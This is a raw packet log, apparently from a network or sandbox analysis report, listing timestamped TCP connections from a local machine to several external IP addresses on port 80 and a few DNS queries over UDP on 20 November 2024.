Nov 20, 2024 09:23:43.375631094 CET	49986	80	192.168.2.10	202.92.5.23
Nov 20, 2024 09:23:43.943821907 CET	49986	80	192.168.2.10	202.92.5.23
Nov 20, 2024 09:23:44.960473061 CET	49987	80	192.168.2.10	202.92.5.23
Nov 20, 2024 09:23:44.966564894 CET	80	49987	202.92.5.23	192.168.2.10
Nov 20, 2024 09:23:44.966753960 CET	49987	80	192.168.2.10	202.92.5.23
Nov 20, 2024 09:23:44.979999065 CET	49987	80	192.168.2.10	202.92.5.23
Nov 20, 2024 09:23:44.990020990 CET	80	49987	202.92.5.23	192.168.2.10
Nov 20, 2024 09:23:44.990065098 CET	80	49987	202.92.5.23	192.168.2.10
Nov 20, 2024 09:23:45.900249004 CET	80	49987	202.92.5.23	192.168.2.10
Nov 20, 2024 09:23:45.900316954 CET	80	49987	202.92.5.23	192.168.2.10
Nov 20, 2024 09:23:45.900366068 CET	49987	80	192.168.2.10	202.92.5.23
Nov 20, 2024 09:23:45.900424957 CET	80	49987	202.92.5.23	192.168.2.10
Nov 20, 2024 09:23:45.900471926 CET	49987	80	192.168.2.10	202.92.5.23
Nov 20, 2024 09:23:46.494824886 CET	49987	80	192.168.2.10	202.92.5.23
Nov 20, 2024 09:23:47.507538080 CET	49988	80	192.168.2.10	202.92.5.23
Nov 20, 2024 09:23:47.512775898 CET	80	49988	202.92.5.23	192.168.2.10
Nov 20, 2024 09:23:47.512867928 CET	49988	80	192.168.2.10	202.92.5.23
Nov 20, 2024 09:23:47.522109985 CET	49988	80	192.168.2.10	202.92.5.23
Nov 20, 2024 09:23:47.527286053 CET	80	49988	202.92.5.23	192.168.2.10
Nov 20, 2024 09:23:48.478888988 CET	80	49988	202.92.5.23	192.168.2.10
Nov 20, 2024 09:23:48.478913069 CET	80	49988	202.92.5.23	192.168.2.10
Nov 20, 2024 09:23:48.478930950 CET	80	49988	202.92.5.23	192.168.2.10
Nov 20, 2024 09:23:48.479087114 CET	49988	80	192.168.2.10	202.92.5.23
Nov 20, 2024 09:23:48.479137897 CET	49988	80	192.168.2.10	202.92.5.23
Nov 20, 2024 09:23:48.481606960 CET	49988	80	192.168.2.10	202.92.5.23
Nov 20, 2024 09:23:48.489974976 CET	80	49988	202.92.5.23	192.168.2.10
Nov 20, 2024 09:23:53.643879890 CET	49989	80	192.168.2.10	194.195.220.41
Nov 20, 2024 09:23:53.648948908 CET	80	49989	194.195.220.41	192.168.2.10
Nov 20, 2024 09:23:53.649072886 CET	49989	80	192.168.2.10	194.195.220.41
Nov 20, 2024 09:23:53.662223101 CET	49989	80	192.168.2.10	194.195.220.41
Nov 20, 2024 09:23:53.667155981 CET	80	49989	194.195.220.41	192.168.2.10
Nov 20, 2024 09:23:54.162729979 CET	80	49989	194.195.220.41	192.168.2.10
Nov 20, 2024 09:23:54.162880898 CET	80	49989	194.195.220.41	192.168.2.10
Nov 20, 2024 09:23:54.162946939 CET	49989	80	192.168.2.10	194.195.220.41
Nov 20, 2024 09:23:55.176402092 CET	49989	80	192.168.2.10	194.195.220.41
Nov 20, 2024 09:23:56.194850922 CET	49990	80	192.168.2.10	194.195.220.41
Nov 20, 2024 09:23:56.199866056 CET	80	49990	194.195.220.41	192.168.2.10
Nov 20, 2024 09:23:56.200063944 CET	49990	80	192.168.2.10	194.195.220.41
Nov 20, 2024 09:23:56.214131117 CET	49990	80	192.168.2.10	194.195.220.41
Nov 20, 2024 09:23:56.218975067 CET	80	49990	194.195.220.41	192.168.2.10
Nov 20, 2024 09:23:56.721313953 CET	80	49990	194.195.220.41	192.168.2.10
Nov 20, 2024 09:23:56.721498966 CET	80	49990	194.195.220.41	192.168.2.10
Nov 20, 2024 09:23:56.721604109 CET	49990	80	192.168.2.10	194.195.220.41
Nov 20, 2024 09:23:57.723279953 CET	49990	80	192.168.2.10	194.195.220.41
Nov 20, 2024 09:23:58.742038965 CET	49991	80	192.168.2.10	194.195.220.41
Nov 20, 2024 09:23:58.748330116 CET	80	49991	194.195.220.41	192.168.2.10
Nov 20, 2024 09:23:58.748444080 CET	49991	80	192.168.2.10	194.195.220.41
Nov 20, 2024 09:23:58.763293982 CET	49991	80	192.168.2.10	194.195.220.41
Nov 20, 2024 09:23:58.768213987 CET	80	49991	194.195.220.41	192.168.2.10
Nov 20, 2024 09:23:58.768354893 CET	80	49991	194.195.220.41	192.168.2.10
Nov 20, 2024 09:23:59.261960983 CET	80	49991	194.195.220.41	192.168.2.10
Nov 20, 2024 09:23:59.261984110 CET	80	49991	194.195.220.41	192.168.2.10
Nov 20, 2024 09:23:59.262057066 CET	49991	80	192.168.2.10	194.195.220.41
Nov 20, 2024 09:24:00.270240068 CET	49991	80	192.168.2.10	194.195.220.41
Nov 20, 2024 09:24:01.314515114 CET	49992	80	192.168.2.10	194.195.220.41
Nov 20, 2024 09:24:01.319720984 CET	80	49992	194.195.220.41	192.168.2.10
Nov 20, 2024 09:24:01.319854975 CET	49992	80	192.168.2.10	194.195.220.41
Nov 20, 2024 09:24:01.329334021 CET	49992	80	192.168.2.10	194.195.220.41
Nov 20, 2024 09:24:01.334423065 CET	80	49992	194.195.220.41	192.168.2.10
Nov 20, 2024 09:24:01.853827000 CET	80	49992	194.195.220.41	192.168.2.10
Nov 20, 2024 09:24:01.853849888 CET	80	49992	194.195.220.41	192.168.2.10
Nov 20, 2024 09:24:01.853861094 CET	80	49992	194.195.220.41	192.168.2.10
Nov 20, 2024 09:24:01.854135036 CET	49992	80	192.168.2.10	194.195.220.41
Nov 20, 2024 09:24:01.856889009 CET	49992	80	192.168.2.10	194.195.220.41
Nov 20, 2024 09:24:01.861792088 CET	80	49992	194.195.220.41	192.168.2.10
Nov 20, 2024 09:24:07.648355007 CET	49993	80	192.168.2.10	103.230.159.86
Nov 20, 2024 09:24:07.654073000 CET	80	49993	103.230.159.86	192.168.2.10
Nov 20, 2024 09:24:07.654187918 CET	49993	80	192.168.2.10	103.230.159.86
Nov 20, 2024 09:24:07.672748089 CET	49993	80	192.168.2.10	103.230.159.86
Nov 20, 2024 09:24:07.678847075 CET	80	49993	103.230.159.86	192.168.2.10
Nov 20, 2024 09:24:08.523195028 CET	80	49993	103.230.159.86	192.168.2.10
Nov 20, 2024 09:24:08.523250103 CET	80	49993	103.230.159.86	192.168.2.10
Nov 20, 2024 09:24:08.523389101 CET	49993	80	192.168.2.10	103.230.159.86
Nov 20, 2024 09:24:09.178334951 CET	49993	80	192.168.2.10	103.230.159.86
Nov 20, 2024 09:24:10.195574045 CET	49994	80	192.168.2.10	103.230.159.86
Nov 20, 2024 09:24:10.200712919 CET	80	49994	103.230.159.86	192.168.2.10
Nov 20, 2024 09:24:10.200874090 CET	49994	80	192.168.2.10	103.230.159.86
Nov 20, 2024 09:24:10.219264984 CET	49994	80	192.168.2.10	103.230.159.86
Nov 20, 2024 09:24:10.224102020 CET	80	49994	103.230.159.86	192.168.2.10
Nov 20, 2024 09:24:11.079086065 CET	80	49994	103.230.159.86	192.168.2.10
Nov 20, 2024 09:24:11.079201937 CET	80	49994	103.230.159.86	192.168.2.10
Nov 20, 2024 09:24:11.079278946 CET	49994	80	192.168.2.10	103.230.159.86
Nov 20, 2024 09:24:11.723412037 CET	49994	80	192.168.2.10	103.230.159.86
Nov 20, 2024 09:24:12.742249966 CET	49995	80	192.168.2.10	103.230.159.86
Nov 20, 2024 09:24:12.747397900 CET	80	49995	103.230.159.86	192.168.2.10
Nov 20, 2024 09:24:12.747502089 CET	49995	80	192.168.2.10	103.230.159.86
Nov 20, 2024 09:24:12.761512041 CET	49995	80	192.168.2.10	103.230.159.86
Nov 20, 2024 09:24:12.766612053 CET	80	49995	103.230.159.86	192.168.2.10
Nov 20, 2024 09:24:12.766637087 CET	80	49995	103.230.159.86	192.168.2.10
Nov 20, 2024 09:24:13.633373022 CET	80	49995	103.230.159.86	192.168.2.10
Nov 20, 2024 09:24:13.633392096 CET	80	49995	103.230.159.86	192.168.2.10
Nov 20, 2024 09:24:13.633466959 CET	49995	80	192.168.2.10	103.230.159.86
Nov 20, 2024 09:24:14.270304918 CET	49995	80	192.168.2.10	103.230.159.86
Nov 20, 2024 09:24:15.288923025 CET	49996	80	192.168.2.10	103.230.159.86
Nov 20, 2024 09:24:15.293751001 CET	80	49996	103.230.159.86	192.168.2.10
Nov 20, 2024 09:24:15.293857098 CET	49996	80	192.168.2.10	103.230.159.86
Nov 20, 2024 09:24:15.302953959 CET	49996	80	192.168.2.10	103.230.159.86
Nov 20, 2024 09:24:15.310801983 CET	80	49996	103.230.159.86	192.168.2.10
Nov 20, 2024 09:24:16.165601015 CET	80	49996	103.230.159.86	192.168.2.10
Nov 20, 2024 09:24:16.165615082 CET	80	49996	103.230.159.86	192.168.2.10
Nov 20, 2024 09:24:16.165791988 CET	49996	80	192.168.2.10	103.230.159.86
Nov 20, 2024 09:24:16.169702053 CET	49996	80	192.168.2.10	103.230.159.86
Nov 20, 2024 09:24:16.174634933 CET	80	49996	103.230.159.86	192.168.2.10
Nov 20, 2024 09:24:21.224008083 CET	49997	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:24:21.229523897 CET	80	49997	188.114.97.3	192.168.2.10
Nov 20, 2024 09:24:21.229624033 CET	49997	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:24:21.241427898 CET	49997	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:24:21.247159004 CET	80	49997	188.114.97.3	192.168.2.10
Nov 20, 2024 09:24:21.911703110 CET	80	49997	188.114.97.3	192.168.2.10
Nov 20, 2024 09:24:21.911828995 CET	80	49997	188.114.97.3	192.168.2.10
Nov 20, 2024 09:24:21.911912918 CET	49997	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:24:21.911935091 CET	80	49997	188.114.97.3	192.168.2.10
Nov 20, 2024 09:24:21.911979914 CET	49997	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:24:22.754789114 CET	49997	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:24:23.773471117 CET	49998	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:24:23.781034946 CET	80	49998	188.114.97.3	192.168.2.10
Nov 20, 2024 09:24:23.781166077 CET	49998	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:24:23.795907021 CET	49998	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:24:23.803224087 CET	80	49998	188.114.97.3	192.168.2.10
Nov 20, 2024 09:24:24.418405056 CET	80	49998	188.114.97.3	192.168.2.10
Nov 20, 2024 09:24:24.418519020 CET	80	49998	188.114.97.3	192.168.2.10
Nov 20, 2024 09:24:24.418548107 CET	80	49998	188.114.97.3	192.168.2.10
Nov 20, 2024 09:24:24.418704987 CET	49998	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:24:24.418704987 CET	49998	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:24:25.301655054 CET	49998	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:24:26.321312904 CET	49999	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:24:26.345156908 CET	80	49999	188.114.97.3	192.168.2.10
Nov 20, 2024 09:24:26.345345974 CET	49999	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:24:26.367635012 CET	49999	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:24:26.373112917 CET	80	49999	188.114.97.3	192.168.2.10
Nov 20, 2024 09:24:26.373127937 CET	80	49999	188.114.97.3	192.168.2.10
Nov 20, 2024 09:24:26.987242937 CET	80	49999	188.114.97.3	192.168.2.10
Nov 20, 2024 09:24:26.987265110 CET	80	49999	188.114.97.3	192.168.2.10
Nov 20, 2024 09:24:26.987576008 CET	49999	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:24:27.880261898 CET	49999	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:24:28.898072004 CET	50000	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:24:28.903081894 CET	80	50000	188.114.97.3	192.168.2.10
Nov 20, 2024 09:24:28.903187990 CET	50000	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:24:28.911557913 CET	50000	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:24:28.917720079 CET	80	50000	188.114.97.3	192.168.2.10
Nov 20, 2024 09:24:29.561872005 CET	80	50000	188.114.97.3	192.168.2.10
Nov 20, 2024 09:24:29.562303066 CET	80	50000	188.114.97.3	192.168.2.10
Nov 20, 2024 09:24:29.562489033 CET	50000	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:24:29.564882994 CET	50000	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:24:29.570100069 CET	80	50000	188.114.97.3	192.168.2.10
Nov 20, 2024 09:24:34.980343103 CET	50001	80	192.168.2.10	118.107.250.103
Nov 20, 2024 09:24:34.985496044 CET	80	50001	118.107.250.103	192.168.2.10
Nov 20, 2024 09:24:34.987134933 CET	50001	80	192.168.2.10	118.107.250.103
Nov 20, 2024 09:24:35.067323923 CET	50001	80	192.168.2.10	118.107.250.103
Nov 20, 2024 09:24:35.076626062 CET	80	50001	118.107.250.103	192.168.2.10
Nov 20, 2024 09:24:35.861618996 CET	80	50001	118.107.250.103	192.168.2.10
Nov 20, 2024 09:24:35.861738920 CET	80	50001	118.107.250.103	192.168.2.10
Nov 20, 2024 09:24:35.861835957 CET	50001	80	192.168.2.10	118.107.250.103
Nov 20, 2024 09:24:36.582813025 CET	50001	80	192.168.2.10	118.107.250.103
Nov 20, 2024 09:24:37.602508068 CET	50002	80	192.168.2.10	118.107.250.103
Nov 20, 2024 09:24:37.607412100 CET	80	50002	118.107.250.103	192.168.2.10
Nov 20, 2024 09:24:37.607614040 CET	50002	80	192.168.2.10	118.107.250.103
Nov 20, 2024 09:24:37.623658895 CET	50002	80	192.168.2.10	118.107.250.103
Nov 20, 2024 09:24:37.628582001 CET	80	50002	118.107.250.103	192.168.2.10
Nov 20, 2024 09:24:38.485940933 CET	80	50002	118.107.250.103	192.168.2.10
Nov 20, 2024 09:24:38.485963106 CET	80	50002	118.107.250.103	192.168.2.10
Nov 20, 2024 09:24:38.486166954 CET	50002	80	192.168.2.10	118.107.250.103
Nov 20, 2024 09:24:39.129719973 CET	50002	80	192.168.2.10	118.107.250.103
Nov 20, 2024 09:24:40.148696899 CET	50003	80	192.168.2.10	118.107.250.103
Nov 20, 2024 09:24:40.153656960 CET	80	50003	118.107.250.103	192.168.2.10
Nov 20, 2024 09:24:40.153768063 CET	50003	80	192.168.2.10	118.107.250.103
Nov 20, 2024 09:24:40.167831898 CET	50003	80	192.168.2.10	118.107.250.103
Nov 20, 2024 09:24:40.174999952 CET	80	50003	118.107.250.103	192.168.2.10
Nov 20, 2024 09:24:40.175012112 CET	80	50003	118.107.250.103	192.168.2.10
Nov 20, 2024 09:24:41.033252001 CET	80	50003	118.107.250.103	192.168.2.10
Nov 20, 2024 09:24:41.033381939 CET	80	50003	118.107.250.103	192.168.2.10
Nov 20, 2024 09:24:41.033463001 CET	50003	80	192.168.2.10	118.107.250.103
Nov 20, 2024 09:24:41.676934004 CET	50003	80	192.168.2.10	118.107.250.103
Nov 20, 2024 09:24:42.697005987 CET	50004	80	192.168.2.10	118.107.250.103
Nov 20, 2024 09:24:42.703546047 CET	80	50004	118.107.250.103	192.168.2.10
Nov 20, 2024 09:24:42.703655005 CET	50004	80	192.168.2.10	118.107.250.103
Nov 20, 2024 09:24:42.712119102 CET	50004	80	192.168.2.10	118.107.250.103
Nov 20, 2024 09:24:42.718616962 CET	80	50004	118.107.250.103	192.168.2.10
Nov 20, 2024 09:24:43.602325916 CET	80	50004	118.107.250.103	192.168.2.10
Nov 20, 2024 09:24:43.602510929 CET	80	50004	118.107.250.103	192.168.2.10
Nov 20, 2024 09:24:43.602677107 CET	50004	80	192.168.2.10	118.107.250.103
Nov 20, 2024 09:24:43.605178118 CET	50004	80	192.168.2.10	118.107.250.103
Nov 20, 2024 09:24:43.613132000 CET	80	50004	118.107.250.103	192.168.2.10
Nov 20, 2024 09:24:48.818126917 CET	50005	80	192.168.2.10	209.74.77.109
Nov 20, 2024 09:24:48.823229074 CET	80	50005	209.74.77.109	192.168.2.10
Nov 20, 2024 09:24:48.823357105 CET	50005	80	192.168.2.10	209.74.77.109
Nov 20, 2024 09:24:48.837893963 CET	50005	80	192.168.2.10	209.74.77.109
Nov 20, 2024 09:24:48.843003988 CET	80	50005	209.74.77.109	192.168.2.10
Nov 20, 2024 09:24:49.431021929 CET	80	50005	209.74.77.109	192.168.2.10
Nov 20, 2024 09:24:49.431046963 CET	80	50005	209.74.77.109	192.168.2.10
Nov 20, 2024 09:24:49.431121111 CET	50005	80	192.168.2.10	209.74.77.109
Nov 20, 2024 09:24:50.348534107 CET	50005	80	192.168.2.10	209.74.77.109
Nov 20, 2024 09:24:51.366964102 CET	50006	80	192.168.2.10	209.74.77.109
Nov 20, 2024 09:24:51.372190952 CET	80	50006	209.74.77.109	192.168.2.10
Nov 20, 2024 09:24:51.372347116 CET	50006	80	192.168.2.10	209.74.77.109
Nov 20, 2024 09:24:51.385857105 CET	50006	80	192.168.2.10	209.74.77.109
Nov 20, 2024 09:24:51.390907049 CET	80	50006	209.74.77.109	192.168.2.10
Nov 20, 2024 09:24:51.957765102 CET	80	50006	209.74.77.109	192.168.2.10
Nov 20, 2024 09:24:51.957789898 CET	80	50006	209.74.77.109	192.168.2.10
Nov 20, 2024 09:24:51.957863092 CET	50006	80	192.168.2.10	209.74.77.109
Nov 20, 2024 09:24:52.895467997 CET	50006	80	192.168.2.10	209.74.77.109
Nov 20, 2024 09:24:53.913747072 CET	50007	80	192.168.2.10	209.74.77.109
Nov 20, 2024 09:24:53.918874979 CET	80	50007	209.74.77.109	192.168.2.10
Nov 20, 2024 09:24:53.918999910 CET	50007	80	192.168.2.10	209.74.77.109
Nov 20, 2024 09:24:53.930926085 CET	50007	80	192.168.2.10	209.74.77.109
Nov 20, 2024 09:24:53.935823917 CET	80	50007	209.74.77.109	192.168.2.10
Nov 20, 2024 09:24:53.935978889 CET	80	50007	209.74.77.109	192.168.2.10
Nov 20, 2024 09:24:54.511640072 CET	80	50007	209.74.77.109	192.168.2.10
Nov 20, 2024 09:24:54.511662960 CET	80	50007	209.74.77.109	192.168.2.10
Nov 20, 2024 09:24:54.511773109 CET	50007	80	192.168.2.10	209.74.77.109
Nov 20, 2024 09:24:55.442580938 CET	50007	80	192.168.2.10	209.74.77.109
Nov 20, 2024 09:24:56.461431026 CET	50008	80	192.168.2.10	209.74.77.109
Nov 20, 2024 09:24:56.467364073 CET	80	50008	209.74.77.109	192.168.2.10
Nov 20, 2024 09:24:56.467493057 CET	50008	80	192.168.2.10	209.74.77.109
Nov 20, 2024 09:24:56.477067947 CET	50008	80	192.168.2.10	209.74.77.109
Nov 20, 2024 09:24:56.482697010 CET	80	50008	209.74.77.109	192.168.2.10
Nov 20, 2024 09:24:57.083714962 CET	80	50008	209.74.77.109	192.168.2.10
Nov 20, 2024 09:24:57.083790064 CET	80	50008	209.74.77.109	192.168.2.10
Nov 20, 2024 09:24:57.083906889 CET	50008	80	192.168.2.10	209.74.77.109
Nov 20, 2024 09:24:57.086685896 CET	50008	80	192.168.2.10	209.74.77.109
Nov 20, 2024 09:24:57.091593981 CET	80	50008	209.74.77.109	192.168.2.10
Nov 20, 2024 09:25:02.119355917 CET	50009	80	192.168.2.10	188.114.96.3
Nov 20, 2024 09:25:02.124342918 CET	80	50009	188.114.96.3	192.168.2.10
Nov 20, 2024 09:25:02.124432087 CET	50009	80	192.168.2.10	188.114.96.3
Nov 20, 2024 09:25:02.137579918 CET	50009	80	192.168.2.10	188.114.96.3
Nov 20, 2024 09:25:02.142879963 CET	80	50009	188.114.96.3	192.168.2.10
Nov 20, 2024 09:25:02.842266083 CET	80	50009	188.114.96.3	192.168.2.10
Nov 20, 2024 09:25:02.842727900 CET	80	50009	188.114.96.3	192.168.2.10
Nov 20, 2024 09:25:02.842935085 CET	50009	80	192.168.2.10	188.114.96.3
Nov 20, 2024 09:25:03.645983934 CET	50009	80	192.168.2.10	188.114.96.3
Nov 20, 2024 09:25:04.664511919 CET	50010	80	192.168.2.10	188.114.96.3
Nov 20, 2024 09:25:04.669923067 CET	80	50010	188.114.96.3	192.168.2.10
Nov 20, 2024 09:25:04.671266079 CET	50010	80	192.168.2.10	188.114.96.3
Nov 20, 2024 09:25:04.685705900 CET	50010	80	192.168.2.10	188.114.96.3
Nov 20, 2024 09:25:04.690648079 CET	80	50010	188.114.96.3	192.168.2.10
Nov 20, 2024 09:25:05.414819002 CET	80	50010	188.114.96.3	192.168.2.10
Nov 20, 2024 09:25:05.414849997 CET	80	50010	188.114.96.3	192.168.2.10
Nov 20, 2024 09:25:05.415107012 CET	50010	80	192.168.2.10	188.114.96.3
Nov 20, 2024 09:25:06.192327976 CET	50010	80	192.168.2.10	188.114.96.3
Nov 20, 2024 09:25:07.210972071 CET	50011	80	192.168.2.10	188.114.96.3
Nov 20, 2024 09:25:07.216159105 CET	80	50011	188.114.96.3	192.168.2.10
Nov 20, 2024 09:25:07.216294050 CET	50011	80	192.168.2.10	188.114.96.3
Nov 20, 2024 09:25:07.229406118 CET	50011	80	192.168.2.10	188.114.96.3
Nov 20, 2024 09:25:07.234611034 CET	80	50011	188.114.96.3	192.168.2.10
Nov 20, 2024 09:25:07.234658957 CET	80	50011	188.114.96.3	192.168.2.10
Nov 20, 2024 09:25:07.927017927 CET	80	50011	188.114.96.3	192.168.2.10
Nov 20, 2024 09:25:07.927618980 CET	80	50011	188.114.96.3	192.168.2.10
Nov 20, 2024 09:25:07.927700996 CET	50011	80	192.168.2.10	188.114.96.3
Nov 20, 2024 09:25:08.739578009 CET	50011	80	192.168.2.10	188.114.96.3
Nov 20, 2024 09:25:09.758260965 CET	50012	80	192.168.2.10	188.114.96.3
Nov 20, 2024 09:25:09.763442993 CET	80	50012	188.114.96.3	192.168.2.10
Nov 20, 2024 09:25:09.763531923 CET	50012	80	192.168.2.10	188.114.96.3
Nov 20, 2024 09:25:09.772489071 CET	50012	80	192.168.2.10	188.114.96.3
Nov 20, 2024 09:25:09.781630993 CET	80	50012	188.114.96.3	192.168.2.10
Nov 20, 2024 09:25:10.504965067 CET	80	50012	188.114.96.3	192.168.2.10
Nov 20, 2024 09:25:10.505002975 CET	80	50012	188.114.96.3	192.168.2.10
Nov 20, 2024 09:25:10.505271912 CET	50012	80	192.168.2.10	188.114.96.3
Nov 20, 2024 09:25:10.507731915 CET	50012	80	192.168.2.10	188.114.96.3
Nov 20, 2024 09:25:10.513910055 CET	80	50012	188.114.96.3	192.168.2.10
Nov 20, 2024 09:25:17.144149065 CET	50013	80	192.168.2.10	194.245.148.189
Nov 20, 2024 09:25:17.149291039 CET	80	50013	194.245.148.189	192.168.2.10
Nov 20, 2024 09:25:17.149420977 CET	50013	80	192.168.2.10	194.245.148.189
Nov 20, 2024 09:25:17.161294937 CET	50013	80	192.168.2.10	194.245.148.189
Nov 20, 2024 09:25:17.166238070 CET	80	50013	194.245.148.189	192.168.2.10
Nov 20, 2024 09:25:17.778320074 CET	80	50013	194.245.148.189	192.168.2.10
Nov 20, 2024 09:25:17.778556108 CET	80	50013	194.245.148.189	192.168.2.10
Nov 20, 2024 09:25:17.778604031 CET	80	50013	194.245.148.189	192.168.2.10
Nov 20, 2024 09:25:17.778747082 CET	50013	80	192.168.2.10	194.245.148.189
Nov 20, 2024 09:25:17.778747082 CET	50013	80	192.168.2.10	194.245.148.189
Nov 20, 2024 09:25:18.677280903 CET	50013	80	192.168.2.10	194.245.148.189
Nov 20, 2024 09:25:19.695393085 CET	50014	80	192.168.2.10	194.245.148.189
Nov 20, 2024 09:25:19.702399015 CET	80	50014	194.245.148.189	192.168.2.10
Nov 20, 2024 09:25:19.702574015 CET	50014	80	192.168.2.10	194.245.148.189
Nov 20, 2024 09:25:19.716865063 CET	50014	80	192.168.2.10	194.245.148.189
Nov 20, 2024 09:25:19.723721981 CET	80	50014	194.245.148.189	192.168.2.10
Nov 20, 2024 09:25:20.321371078 CET	80	50014	194.245.148.189	192.168.2.10
Nov 20, 2024 09:25:20.321450949 CET	80	50014	194.245.148.189	192.168.2.10
Nov 20, 2024 09:25:20.321558952 CET	50014	80	192.168.2.10	194.245.148.189
Nov 20, 2024 09:25:21.223711967 CET	50014	80	192.168.2.10	194.245.148.189
Nov 20, 2024 09:25:22.242568970 CET	50015	80	192.168.2.10	194.245.148.189
Nov 20, 2024 09:25:22.247569084 CET	80	50015	194.245.148.189	192.168.2.10
Nov 20, 2024 09:25:22.247770071 CET	50015	80	192.168.2.10	194.245.148.189
Nov 20, 2024 09:25:22.262732983 CET	50015	80	192.168.2.10	194.245.148.189
Nov 20, 2024 09:25:22.267816067 CET	80	50015	194.245.148.189	192.168.2.10
Nov 20, 2024 09:25:22.267868996 CET	80	50015	194.245.148.189	192.168.2.10
Nov 20, 2024 09:25:22.866837025 CET	80	50015	194.245.148.189	192.168.2.10
Nov 20, 2024 09:25:22.866961002 CET	80	50015	194.245.148.189	192.168.2.10
Nov 20, 2024 09:25:22.867337942 CET	50015	80	192.168.2.10	194.245.148.189
Nov 20, 2024 09:25:23.770416975 CET	50015	80	192.168.2.10	194.245.148.189
Nov 20, 2024 09:25:24.789277077 CET	50016	80	192.168.2.10	194.245.148.189
Nov 20, 2024 09:25:24.796808004 CET	80	50016	194.245.148.189	192.168.2.10
Nov 20, 2024 09:25:24.796925068 CET	50016	80	192.168.2.10	194.245.148.189
Nov 20, 2024 09:25:24.807418108 CET	50016	80	192.168.2.10	194.245.148.189
Nov 20, 2024 09:25:24.816993952 CET	80	50016	194.245.148.189	192.168.2.10
Nov 20, 2024 09:25:25.416529894 CET	80	50016	194.245.148.189	192.168.2.10
Nov 20, 2024 09:25:25.416614056 CET	80	50016	194.245.148.189	192.168.2.10
Nov 20, 2024 09:25:25.416697025 CET	80	50016	194.245.148.189	192.168.2.10
Nov 20, 2024 09:25:25.416698933 CET	50016	80	192.168.2.10	194.245.148.189
Nov 20, 2024 09:25:25.416765928 CET	80	50016	194.245.148.189	192.168.2.10
Nov 20, 2024 09:25:25.416814089 CET	50016	80	192.168.2.10	194.245.148.189
Nov 20, 2024 09:25:25.421195030 CET	50016	80	192.168.2.10	194.245.148.189
Nov 20, 2024 09:25:25.426636934 CET	80	50016	194.245.148.189	192.168.2.10
Nov 20, 2024 09:25:30.589466095 CET	50017	80	192.168.2.10	199.59.243.227
Nov 20, 2024 09:25:30.604980946 CET	80	50017	199.59.243.227	192.168.2.10
Nov 20, 2024 09:25:30.605170012 CET	50017	80	192.168.2.10	199.59.243.227
Nov 20, 2024 09:25:30.621889114 CET	50017	80	192.168.2.10	199.59.243.227
Nov 20, 2024 09:25:30.626940012 CET	80	50017	199.59.243.227	192.168.2.10
Nov 20, 2024 09:25:31.060921907 CET	80	50017	199.59.243.227	192.168.2.10
Nov 20, 2024 09:25:31.060949087 CET	80	50017	199.59.243.227	192.168.2.10
Nov 20, 2024 09:25:31.060982943 CET	80	50017	199.59.243.227	192.168.2.10
Nov 20, 2024 09:25:31.061041117 CET	50017	80	192.168.2.10	199.59.243.227
Nov 20, 2024 09:25:31.061091900 CET	50017	80	192.168.2.10	199.59.243.227
Nov 20, 2024 09:25:32.129781008 CET	50017	80	192.168.2.10	199.59.243.227
Nov 20, 2024 09:25:33.148396969 CET	50018	80	192.168.2.10	199.59.243.227
Nov 20, 2024 09:25:33.153567076 CET	80	50018	199.59.243.227	192.168.2.10
Nov 20, 2024 09:25:33.153677940 CET	50018	80	192.168.2.10	199.59.243.227
Nov 20, 2024 09:25:33.167146921 CET	50018	80	192.168.2.10	199.59.243.227
Nov 20, 2024 09:25:33.175009966 CET	80	50018	199.59.243.227	192.168.2.10
Nov 20, 2024 09:25:33.612307072 CET	80	50018	199.59.243.227	192.168.2.10
Nov 20, 2024 09:25:33.612343073 CET	80	50018	199.59.243.227	192.168.2.10
Nov 20, 2024 09:25:33.612371922 CET	80	50018	199.59.243.227	192.168.2.10
Nov 20, 2024 09:25:33.612402916 CET	50018	80	192.168.2.10	199.59.243.227
Nov 20, 2024 09:25:33.612426043 CET	50018	80	192.168.2.10	199.59.243.227
Nov 20, 2024 09:25:34.678302050 CET	50018	80	192.168.2.10	199.59.243.227
Nov 20, 2024 09:25:36.915503979 CET	50019	80	192.168.2.10	199.59.243.227
Nov 20, 2024 09:25:36.921845913 CET	80	50019	199.59.243.227	192.168.2.10
Nov 20, 2024 09:25:36.924683094 CET	50019	80	192.168.2.10	199.59.243.227
Nov 20, 2024 09:25:36.940895081 CET	50019	80	192.168.2.10	199.59.243.227
Nov 20, 2024 09:25:36.945904016 CET	80	50019	199.59.243.227	192.168.2.10
Nov 20, 2024 09:25:36.946073055 CET	80	50019	199.59.243.227	192.168.2.10
Nov 20, 2024 09:25:37.379458904 CET	80	50019	199.59.243.227	192.168.2.10
Nov 20, 2024 09:25:37.379492998 CET	80	50019	199.59.243.227	192.168.2.10
Nov 20, 2024 09:25:37.379520893 CET	80	50019	199.59.243.227	192.168.2.10
Nov 20, 2024 09:25:37.379540920 CET	50019	80	192.168.2.10	199.59.243.227
Nov 20, 2024 09:25:37.379576921 CET	50019	80	192.168.2.10	199.59.243.227

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 09:22:54.595863104 CET	54054	53	192.168.2.10	1.1.1.1
Nov 20, 2024 09:22:54.608515978 CET	53	54054	1.1.1.1	192.168.2.10
Nov 20, 2024 09:23:10.992630005 CET	51403	53	192.168.2.10	1.1.1.1
Nov 20, 2024 09:23:12.004570007 CET	51403	53	192.168.2.10	1.1.1.1
Nov 20, 2024 09:23:12.731858015 CET	53	51403	1.1.1.1	192.168.2.10
